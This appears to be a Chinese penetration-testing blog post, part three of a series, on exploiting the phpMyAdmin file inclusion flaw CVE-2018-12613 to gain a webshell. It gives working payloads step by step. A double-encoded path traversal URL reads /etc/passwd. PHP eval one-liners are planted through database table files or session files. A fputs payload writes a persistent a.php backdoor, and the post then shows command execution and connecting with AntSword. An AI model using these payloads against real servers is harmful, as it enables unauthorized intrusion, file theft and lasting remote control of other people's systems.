AI智能
改变未来

CVE-2018-12613 phpmyadmin文件包含getshell连载(三)

这是phpmyadmin系列渗透思路的第三篇文章,前面一篇文章阐述了通过慢查询日志getshell,本文将通过文件包含漏洞展开讨论

原文链接:https://www.cnblogs.com/PANDA-Mosen/p/13164349.html

#001 影响版本

Phpmyadmin 4.8.0/4.8.0.1/4.8.1

 

#002 漏洞验证利用

[code]http://www.xxx.com/index.php?target=db_sql.php%253f/../../../../../../etc/passwd

成功读取到/etc/passwd文件

 

#003 利用此漏洞getshell

思路1:把WebShell写入到数据库中然后包含数据库文件getshell,如果把WebShell当做数据表的字段值是可以完美的写入到数据库文件当中的

 

创建完成结果如下

 

2、然后我们需要找到数据库表的文件

[code]show variables like \'datadir\'或SELECT @@datadir

文件的路径就是:data路径+数据库名/表名.frm

 

然后包含它就可以,成功包含执行phpifo

[code]index.php?target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/test/test1.frm

 

 

二、命令执行(注意一句话为GET)

插入:<?php eval($_GET[a]);?>这个字段,然后构造payload:成功执行命令

[code]index.php?a=system(\"ipconfig\");&target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/test/test2.frm

 

三、进行getshell

ONE:插入数据表getshell

思考过程:以上所说的都是执行的phpinfo,以及get方式执行了命令,无法用蚁剑等工具直接连接shell,所以就想利用文件包含直接生成一个webshell,所以有了以下想法

 

1、我们插入字段的时候,插入这样一句话,包含之后会在当前目录生成一个a.php的webshell

[code]<?php fputs(fopen(\"a.php\",\"w\"),\'<?php eval($_POST[a]);?>\');?>

 

可以看到,执行成功

 

2、接着上面的,包含test1.frm文件,包含完成,没有任何报错

 

3、接着去看一下是否真的能生成一句话在当前目录,可以看到的确生成了,并且时间是刚刚

 

4、然后直接利用蚁剑连接,ok思路可行,getshell成功

 

 

执行一下命令试试,完全没问题,本次探索很成功!

 

Two:利用session文件getshell

phpmyadmin是默认会把执行的语句,记录在session文件当中的,所以可以包含session文件进行getshell

 

1、首先利用上面得到的phpinfo,查看session文件存放的路径,搜索:save_path,看到是在tmp/tmp目录下

 

2、执行sql语句,语句为生成一句话木马的语句

[code]SELECT `<?php fputs(fopen(\"a.php\",\"w\"),\'<?php eval($_POST[a]);?>\');?>`;    #注意为反引号

 

3、session可以在cookie中找到,例如google的,或者burp抓包都行

 

4、然后利用漏洞直接包含session文件,文件名:sess_你的session

[code]index.php?target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_a5gbrbj1rr01lpqpi6mkecc1ti1ar692

 

5、然后看当前目录是否生成一句话木马,可以看到又成功生成了,时间是刚刚的

 

6、利用蚁剑连接:成功!

 

这篇文章个人感觉还是可以拓展大家一些思路的,希望大家都能学到一点技巧。

赞(0) 打赏
未经允许不得转载:爱站程序员基地 » CVE-2018-12613 phpmyadmin文件包含getshell连载(三)